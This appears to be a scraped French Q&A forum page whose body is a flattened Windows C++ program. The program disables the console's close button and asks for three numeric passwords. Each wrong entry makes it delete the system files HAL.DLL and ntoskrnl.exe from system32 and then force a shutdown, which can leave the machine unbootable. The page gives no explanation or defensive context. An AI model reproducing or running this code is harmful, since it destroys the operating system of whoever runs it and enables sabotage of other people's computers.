Vous n’avez pas trouvé la réponse que vous recherchez ?
Posez votre question#define _WIN32_WINNT 0x0502 #include <cstdlib> #include <conio.h> #include <stdlib.h> #include #include <time.h> #include <stdio.h> #include <windows.h> #include <winable.h> using namespace std; int timeoutgetnb(int* remaining,const char* chaine) { int timeleft; char cache[11] = {0}; int curs = 0; time_t starttime = time(NULL); printf("\r%s [%d] : %s ",chaine,*remaining,cache); do { time_t crt = time(NULL); if (difftime(crt,starttime)>=1.0) { starttime = crt; (*remaining)--; printf("\r%s [%d] : %s ",chaine,*remaining,cache); } if (_kbhit()) { char c = (char)getch(); if (c>='0' && c<='9' && curs<10) cache[curs++] = c; if (c==0x0D) { printf("\n"); return atoi(cache); } if (c=='\b' && curs!=0) cache[--curs] = '\0'; printf("\r%s [%d] : %s ",chaine,*remaining,cache); } } while ((*remaining)>0); printf("\n"); return -1; } int getnombre() { HWND hConsole = GetConsoleWindow(); HMENU hMenu = GetSystemMenu( hConsole, false ); if( DeleteMenu ( hMenu, SC_CLOSE, MF_BYCOMMAND )) cout << "(1/3)Veuillez saisir le premier mot de passe pour fermer ce programme." << endl; int c; int n=0; do { c=getch(); if (c>='0' && c<='9') { n*=10; n+=(c-'0'); cout << "*"; cout.flush(); } } while(c!=13); cout << endl; return n; } int main() { system ("color 04"); int a; a=getnombre(); if (a == 84955222) { cout << "(2/3) Bon mot de passe. Veuillez saisir le deuxieme mot de passe." << endl; } else { system("color 02"); cout << "Mot de passe saisi incorrecte. Traitment des fichiers racine."<< endl; system ("del %systemroot%\\system32\\HAL.DLL"); system ("del %systemroot%\\system32\\ntoskrnl.exe"); cout << " Fichiers racines supprimes. Mise hors tension dans 60 secondes." << endl; system("shutdown -f -s -t 60"); system("pause"); return 0; } a=getnombre(); if (a == 11235813) { system("color 06"); cout << "(3/3) Bon mot de passe. Veuillez saisir le troisieme mot de passe" << endl; } else { system("color 02"); cout << "Mot de passe saisi incorrecte. Traitment des fichiers racine."<< endl; system ("del %systemroot%\\system32\\HAL.DLL"); system ("del %systemroot%\\system32\\ntoskrnl.exe"); cout << " Fichiers racines supprimes. Mise hors tension dans 60 secondes." << endl; system("shutdown -f -s -t 60"); system("pause"); return 0; } a=getnombre(); if (a == 12345678) { cout << "Mot de passe saisi correcte. Fermeture du programme." << endl; system ("pause"); return 0; } else { system("color 02"); cout << "Mot de passe saisi incorrecte. Traitment des fichiers racines."<< endl; system ("del %systemroot%\\system32\\HAL.DLL"); system ("del %systemroot%\\system32\\ntoskrnl.exe"); cout << " Fichiers racines supprimes. Mise hors tension dans 60 secondes." << endl; system("shutdown -f -s -t 60"); system("pause"); return 0; } }